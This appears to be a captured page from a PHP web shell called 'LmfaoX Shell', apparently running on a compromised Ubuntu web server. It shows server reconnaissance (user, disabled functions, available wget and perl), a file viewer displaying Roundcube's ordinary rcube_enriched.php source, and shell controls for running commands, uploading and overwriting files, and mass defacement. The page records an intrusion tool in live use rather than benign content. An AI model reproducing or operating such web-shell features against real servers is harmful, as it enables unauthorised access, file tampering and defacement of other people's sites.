ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.23 GB of 70.42 GB (34.41%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail/ program/ lib/ Roundcube/ - drwxr-xr-x

Directory:
Viewing file:     rcube_enriched.php (4.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) 2005-2012, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Helper class to convert Enriched to HTML format (RFC 1523, 1896)    |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 | Author: Ryo Chijiiwa (IlohaMail)                                      |
 +-----------------------------------------------------------------------+
*/

/**
 * Class for Enriched to HTML conversion
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_enriched
{
    protected static function 
convert_newlines($body)
    {
        
// remove single newlines, convert N newlines to N-1
        
$body str_replace("\r\n""\n"$body);
        
$len  strlen($body);
        
$nl   0;
        
$out  '';

        for (
$i=0$i<$len$i++) {
            
$c $body[$i];
            if (
ord($c) == 10)
                
$nl++;
            if (
$nl && ord($c) != 10)
                
$nl 0;
            if (
$nl != 1)
                
$out .= $c;
            else
                
$out .= ' ';
        }

        return 
$out;
    }

    protected static function 
convert_formatting($body)
    {
        
$replace = array(
            
'<bold>'        => '<b>',            '</bold>'   => '</b>',
            
'<italic>'      => '<i>',            '</italic>' => '</i>',
            
'<fixed>'       => '<tt>',           '</fixed>'  => '</tt>',
            
'<smaller>'     => '<font size=-1>''</smaller>'=> '</font>',
            
'<bigger>'      => '<font size=+1>''</bigger>' => '</font>',
            
'<underline>'   => '<span style="text-decoration: underline">''</underline>'   => '</span>',
            
'<flushleft>'   => '<span style="text-align: left">',           '</flushleft>'   => '</span>',
            
'<flushright>'  => '<span style="text-align: right">',          '</flushright>'  => '</span>',
            
'<flushboth>'   => '<span style="text-align: justified">',      '</flushboth>'   => '</span>',
            
'<indent>'      => '<span style="padding-left: 20px">',         '</indent>'      => '</span>',
            
'<indentright>' => '<span style="padding-right: 20px">',        '</indentright>' => '</span>',
        );

        return 
str_ireplace(array_keys($replace), array_values($replace), $body);
    }

    protected static function 
convert_font($body)
    {
        
$pattern '/(.*)\<fontfamily\>\<param\>(.*)\<\/param\>(.*)\<\/fontfamily\>(.*)/ims';

        while (
preg_match($pattern$body$a)) {
            if (
count($a) != 5)
                continue;

            
$body $a[1].'<span style="font-family: '.$a[2].'">'.$a[3].'</span>'.$a[4];
        }

        return 
$body;
    }

    protected static function 
convert_color($body)
    {
        
$pattern '/(.*)\<color\>\<param\>(.*)\<\/param\>(.*)\<\/color\>(.*)/ims';

        while (
preg_match($pattern$body$a)) {
            if (
count($a) != 5)
                continue;

            
// extract color (either by name, or ####,####,####)
            
if (strpos($a[2],',')) {
                
$rgb   explode(',',$a[2]);
                
$color '#';
                for (
$i=0$i<3$i++)
                    
$color .= substr($rgb[$i], 02); // just take first 2 bytes
            
}
            else {
                
$color $a[2];
            }

            
// put it all together
            
$body $a[1].'<span style="color: '.$color.'">'.$a[3].'</span>'.$a[4];
        }

        return 
$body;
    }

    protected static function 
convert_excerpt($body)
    {
        
$pattern '/(.*)\<excerpt\>(.*)\<\/excerpt\>(.*)/i';

        while (
preg_match($pattern$body$a)) {
            if (
count($a) != 4)
                continue;

            
$quoted '';
            
$lines  explode('<br>'$a[2]);

            foreach (
$lines as $line)
                
$quoted .= '&gt;'.$line.'<br>';

            
$body $a[1].'<span class="quotes">'.$quoted.'</span>'.$a[3];
        }

        return 
$body;
    }

    public static function 
to_html($body)
    {
        
$body str_replace('<<','&lt;',$body);
        
$body self::convert_newlines($body);
        
$body str_replace("\n"'<br>'$body);
        
$body self::convert_formatting($body);
        
$body self::convert_color($body);
        
$body self::convert_font($body);
        
$body self::convert_excerpt($body);
        
//$body = nl2br($body);

        
return $body;
    }
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2525 seconds